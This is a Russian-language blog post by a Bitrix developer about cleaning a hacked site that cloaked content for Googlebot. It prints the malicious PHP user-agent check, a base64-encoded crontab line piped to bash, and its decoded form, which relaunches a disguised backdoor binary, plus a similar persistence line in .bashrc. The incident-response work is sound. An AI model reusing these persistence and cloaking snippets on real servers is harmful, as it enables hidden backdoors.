Техподдержка сайтов
+7 (904) 589-06-04
+7 (904) 589-06-04
telegram @sng24
MAX
info@sng-it.ru
Сайт программиста 1С Битрикс
Сайт программиста
1C Битрикс
(создание и поддержка сайтов)
О себе
Услуги
  • Перевод сайта на https
  • Создание сайтов
  • Интеграция сайта с 1С
  • Выгрузка товаров в Яндекс.Маркет
  • Композитный сайт
  • Внутренняя оптимизация сайта
  • Доработка сайтов
  • Импорт каталога из файла поставщика
  • Перенос сайта на 1С Битрикс
  • Парсинг контента
  • Установка готового сайта
  • Купить лицензию 1С Битрикс
  • Битрикс 24
  • Настройка служб доставки
  • Интеграция с соцсетями
  • Заказ на Маркете
  • Сопровождение сайтов на 1С Битрикс
  • Поиск и удаление вирусов
  • Настройка платежных систем
  • Выгрузка товаров на Hotline
Портфолио
Готовые сайты
  • Недвижимость
  • Медицина
  • Ресторанный бизнес
  • Автомобили и автозапчасти
  • Бухгалтерские и юридические услуги
  • Государство
  • Детские товары
  • Красота и здоровье
  • Мебель, интерьер, декор
  • Образование
  • Одежда и обувь
  • Подарки и сувениры
  • Продукты питания
  • Спорт, туризм и отдых
  • Строительство, ремонт, инструменты
  • Товары для животных
  • ТСЖ, ЖСК
  • Украшения, аксессуары, подарки
  • Электроника и бытовая техника
  • Универсальные
  • Разное
1С Битрикс
  • Старт (6 200 ₽)
  • Стандарт (17 900 ₽)
  • Малый бизнес (40 900 ₽)
  • Бизнес (83 900 ₽)
  • Интернет-магазин + CRM (109 000 ₽)
  • Продление лицензии
  • Сравнить редакции
CRM
  • Битрикс24
Контакты
Ещё
    Сайт программиста 1С Битрикс
    Сайт программиста
    1C Битрикс
    О себе
    Услуги
    Портфолио
    Готовые сайты
    1С Битрикс
    CRM
    Контакты
    Сайт программиста 1С Битрикс
    Сайт программиста
    1C Битрикс
    • Главная
    • О себе
    • Услуги
      • Назад
      • Услуги
      • Перевод сайта на https
      • Создание сайтов
      • Интеграция сайта с 1С
      • Выгрузка товаров в Яндекс.Маркет
      • Композитный сайт
      • Внутренняя оптимизация сайта
      • Доработка сайтов
      • Импорт каталога из файла поставщика
      • Перенос сайта на 1С Битрикс
      • Парсинг контента
      • Установка готового сайта
      • Купить лицензию 1С Битрикс
      • Битрикс 24
      • Настройка служб доставки
      • Интеграция с соцсетями
      • Заказ на Маркете
      • Сопровождение сайтов на 1С Битрикс
      • Поиск и удаление вирусов
      • Настройка платежных систем
      • Выгрузка товаров на Hotline
    • Портфолио
    • Готовые сайты
      • Назад
      • Готовые сайты
      • Недвижимость
      • Медицина
      • Ресторанный бизнес
      • Автомобили и автозапчасти
      • Бухгалтерские и юридические услуги
      • Государство
      • Детские товары
      • Красота и здоровье
      • Мебель, интерьер, декор
      • Образование
      • Одежда и обувь
      • Подарки и сувениры
      • Продукты питания
      • Спорт, туризм и отдых
      • Строительство, ремонт, инструменты
      • Товары для животных
      • ТСЖ, ЖСК
      • Украшения, аксессуары, подарки
      • Электроника и бытовая техника
      • Универсальные
      • Разное
    • 1С Битрикс
      • Назад
      • 1С Битрикс
      • Старт (6 200 ₽)
      • Стандарт (17 900 ₽)
      • Малый бизнес (40 900 ₽)
      • Бизнес (83 900 ₽)
      • Интернет-магазин + CRM (109 000 ₽)
      • Продление лицензии
      • Сравнить редакции
    • CRM
    • Контакты
    • Личный кабинет
    • +7 (904) 589-06-04
    Будьте на связи
    info@sng-it.ru
    • Вконтакте
    • YouTube

    Клоакинг, подмена контента сайта по USER_AGENT

    • Главная
    • ❶ Услуги
    • ❷ Поиск и удаление вирусов
    • ❸ Клоакинг, подмена контента сайта по USER_AGENT

    Довольно часто ко мне обращаются владельцы и администраторы взломанных сайтов по поводу удаления вредоносного кода и закрытия уязвимостей. Недавно был интересный случай, обратился администратор сайта с таким запросом:

    "Нам нужна услуга по очистке сайта от вируса. Сайт на битриксе. Вирус типа клоакинг, подменяет контент для юзер-агена поисковиков".

    В данной статье я описал поиск и устранение уязвимостей типа "Клоакинг" на сайте.

    Клоакинг (от англ. cloaking — "маскировка") — это SEO-практика, при которой сайт показывает разный контент поисковым роботам и обычным пользователям. Это запрещённый метод, нарушающий правила поисковых систем.

      Список действий:

    • Сканирование сайта на подозрительный код
    • Анализ логов
    • Проверка crontab и агентов
    • Проверка запущенных процессов

    Сканирование сайта на подозрительный код

    Для сканирования сайтов на вирусы я использую свой модуль Поиск вирусов и встроенный в модуль Проактивной защиты - Поиск троянов. Проверка показала наличие уязвимостей, но клоакинг пришлось искать вручную, последовательно по ходу обработки запроса, сначала в .htaccess, и подключаемых в нем файлах, далее в модулях. Вирус был найден в прологе, подключался файл:

    include ('/dev/shm/shm');
    клоакинг

    В файле dev/shm/shm была проверка юзер-агента:

    if (check_user_agent('Googlebot') || check_user_agent('Google-Site-Verification') || check_user_agent('Google-InspectionTool')) { echo $useragent_code; exit; }
    И далее подмена контента:

    подмена контента

    Анализ логов

    Оставался вопрос - как зашли на сайт и какие есть лазейки.
    Судя по логам, зайти на сайт могли с помощью уязвимостей модулей kda.importexcel, esol.importexportexcel, загрузили вебшел, типа /ajax/89a9094c8917.php, и получили полный доступ.

    Проверка crontab и агентов

    На кроне стояла подозрительная задача:

    #0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCBTSEVMTD0vYmluL2Jhc2ggVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS9iaXRyaXgvLmNvbmZpZy9odG9wL2RlZnVuY3QuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdbd2F0Y2hkb2dkXScgJy9ob21lL2JpdHJpeC8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel

    На кроне стояла подозрительная задача

    Обфусцированный код явно вызывал подозрение.

    После декодирования base64, получили:

    /usr/bin/pkill -0 -U600 defunct 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/htop/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[watchdodg]' '/home/bitrix/.config/htop/defunct'" 2>/dev/null
    Запускался вредоносный процесс defung, который использовал бинарный файл /home/bitrix/.config/htop/defunct возможно для майнинга или каких-то других целей.

    Среди агентов подозрительных не было.

    Проверка запущенных процессов

    Ещё один вредонос нашли в файле /home/bitrix/.bashrc:

    вредонос нашли в файле /home/bitrix/.bashrc

    После декодирования она превращается в: /usr/bin/pkill -0 -U600 defunct 2>/dev/null || (TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/htop/defunct.dat -liqQ" exec -a '[watchdodg]' '/home/bitrix/.config/htop/defunct' 2>/dev/null)

    pkill -0 -U600 defunct – проверяет, работает ли процесс с именем defunct от пользователя с UID 600. Если процесса нет, запускается вредоносный бинарный файл: /home/bitrix/.config/htop/defunct под маскировкой [watchdodg]. Вероятно, это бэкдор или майнер, который маскируется под легитимный процесс.

    defunct

    В общем, процессы завершили, вредоносный контент удалили, наблюдаем за сайтами.


    Семен Голиков.


    Получите консультацию специалиста
    Семен Голиков
    Семен Голиков
    telegram @sng24
    Cертифицированный программист 1С Битрикс

    У меня Вы можете заказать программные работы или проконсультироваться по сайту.

    C 2010 года разрабатываю и поддерживаю сайты на 1С Битрикс. Являюсь Золотым партнером компании 1С Битрикс и имею компетенции: Интеграция с 1С, Композитный сайт, Битрикс24, а также все сертификаты специалиста.

    Золотой партнер компании 1С БитриксКомпетенция партнера - Интеграция с 1СКомпетенция партнера - Композитный сайтКомпетенция партнера - Битрикс 24Участник программы качества внедрений


    info@sng-it.ru
    +7 (904) 589-06-04

    Поделиться:
    Назад к списку
    • Услуги
    • Услуги
    • Блог
    • Видеоуроки
    • Скидки на 1C Битрикс
    • Новости интернета
    • Сниппеты
    Аудит сайта
    Записаться на техподдержку

    © 2010-2025 Сайт битрикс программиста Семена Голикова.

    Отправляя любую форму на сайте, вы соглашаетесь с политикой в отношении обработки персональных данных данного сайта.
    - карта сайта
    Главное
    Информация
    Помощь
    • О себе
    • Услуги
    • Готовые сайты
    • Портфолио
    • Купить лицензию 1С Битрикс
    • Битрикс24
    • Контакты
    • Акции
    • Видеоуроки
    • Блог
    • Новости интернета
    • Про интеграцию с 1С
    • Внутренняя оптимизация сайта
    • Сниппеты
    • Хостинг для битрикс
    • Партнерам
    • Отзывы
    • Техподдержка
    +7 (904) 589-06-04
    - написать в MAX
    написать в Telegram - написать в Telegram
    - позвонить в WhatsApp
    Социальные сети:
    - карта сайта © 2010-2025 Сайт битрикс программиста Семена Голикова.
    Отправляя любую форму на сайте, вы соглашаетесь с политика в отношении обработки персональных данных данного сайта.
    Спасибо за заявку!
    Мы свяжемся с Вами в ближайшее
    время и ответим на все вопросы.